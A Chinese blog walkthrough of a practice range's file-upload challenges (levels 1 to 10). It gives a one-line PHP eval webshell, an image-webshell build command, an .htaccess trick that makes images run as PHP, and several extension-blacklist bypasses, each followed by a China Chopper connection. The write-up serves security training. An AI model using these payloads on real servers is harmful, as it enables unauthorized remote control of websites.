文件上传漏洞(1-10种情况)

文件上传漏洞
靶场地址:http://117.167.136.245:21781/Pass-20/index.php
所需工具:cmd命令制作图片马,burpsuite抓包修改绕过,中国菜刀连接服务器后台。
提示:图片不能太大。


第一关:前端验证绕过
这种检测只是在网页上检测你传入的是否是.Jpg格式,我们可以抓包修改
首先我们制做一个图片马:1.txt: <?php @eval($_REQUEST[‘a’]);?>
Cmd: copy 1.jpg/b+1.txt 12.jpg


图片马:12.jpg
第一关只需要抓包修改图片后缀名即可:


抓包并修改后缀。


图片上传成功。检测:http://117.167.136.245:21781/upload/12.php?a=phpinfo();


页面存在了。

然后菜刀连接:


接入成功。

第二关:Content-Type方式绕过
这种绕过方式与前端绕过方式一样,也是通过抓包修改后缀来绕过。我们将图片马名字修改再试一次。


上传成功。检测连接与第一关一样。

第三关:黑名单绕过

代码会过滤掉:


这些后缀。
但是如果我们写jspx/jspf都会被当成jsp解析。asa/cer/aspx都会被当成asp解析。Php/php3/php4/phtml都会被当做php解析。利用这个特性抓包修改绕过黑名单过滤并使服务器解析。


菜刀连接也要用这个后缀名。

第四关:.htaccess文件绕过
主旨:通过修改配置文件绕过黑名单机制,先制作并上传一个.htaccess配置文件上传生效后,再上传我们的图片马。
制作配置文件:搞一个1.txt:写这一句:AddType application/x-httpd-php空格.jpg
这个指令代表.jpg文件会被当做php来解析。
然后cmd:ren 1.txt .htaccess


成功生成。
上传:


检测:


路径名还是.Jpg

菜刀连接无误。

 

第五关:后缀大小写绕过
这也是一个黑名单机制,首先看源码:


.php”,”.php5”,”.php4”,”.php3”,”.php2”,”.html”,”.htm”,”.phtml”,”.pHp”,”.pHp5”,”.pHp4”,”.pHp3”,”.pHp2”,”.Html”,”.Htm”,”.pHtml”,”.jsp”,”.jspa”,”.jspx”,”.jsw”,”.jsv”,”.jspf”,”.jtml”,”.jSp”,”.jSpx”,”.jSpa”,”.jSw”,”.jSv”,”.jSpf”,”.jHtml”,”.asp”,”.aspx”,”.asa”,”.asax”,”.ascx”,”.ashx”,”.asmx”,”.cer”,”.aSp”,”.aSpx”,”.aSa”,”.aSax”,”.aScx”,”.aShx”,”.aSmx”,”.cEr”,”.sWf”,”.swf”,”.htaccess
这些是会被过滤的后缀。我们攻击的页面是php,然后我们找一些没有被过滤的PHP后缀格式,如PHp/PhP/PHp543/PhP543在靶场我们可以看到源码,但是在现实渗透中,我们可能就要自己去一个个尝试了。
这一关还是抓包修改后缀来绕过。


PHp绕过


PhP绕过。


菜刀连接成功。大小写不敏感。

 

第六关:文件后缀(空)绕过
此关除了黑名单机制外,还会删除文件末尾的点,所以我们文件末尾不能有点,我们以空格代替,就不会被过滤掉了:
上传实践:


上传无误。


菜刀连接成功。

 

第七关:文件后缀(点)绕过
和第六关类似,这一关会检查空格,所以我们使用‘.’来绕过。


上传成功。


连接成功。

 

第八关:::$DATA(Windows文件流绕过)
此绕过方式:也是黑名单机制。三个条件(必须是windows系统,必须是php,必须是上传的源文件(这个不重要,就是抓包时在你上传的文件名后修改))
::$DATA 会把和它一起的数据当成文件流处理,不会检测后缀名,且保持::$DATA之前的文件名,此做法的目的就是不检查后缀名。

靶场的做法:抓包—-在我们上传的文件后缀后加::$DATA—发包—检测—-菜刀。


图片格式碎掉了,但是78.php这个文件是上传去了。


访问检测时去掉::$DATA访问。


菜刀连接成功。

 

第九关:构造文件后缀绕过
查看靶场过滤代码:


代码表示会:黑名单机制+删除掉文件名最后一个点(若有的话),判断最后一位是不是点,字符串首尾去空。根据代码反向思考构造可以绕过的后缀为.php.空格.
上传实践:


上传成功。


菜刀连接成功。

 

第十关:双写文件后缀绕过
查看代码:


代码表示为:在获得文件名时,若发现其中含有php字样的便删除掉,但是只做了一次删除。若此处为多次删除的话,便会使我们上传的文件名无效。所以我们可以构造phphpp这样的后缀,过滤程序处理完后还是php。这个地方也让我想起了SQL注入中过滤waf的方法也有双写入selselectect这样的绕过方式。
上传实践:


检测上传成功。


菜刀连接成功。
做题心得:
在靶场中我们会有提示,但在实践中可能就需要我们去收集信息判断或者挨个尝试了。在菜刀连接时,最好清除一下缓存再连接,这样才能真正连接,要不有可能是缓存。

posted @ 2019-10-23 14:09  求知鱼  阅读(2192)  评论(0编辑  收藏  举报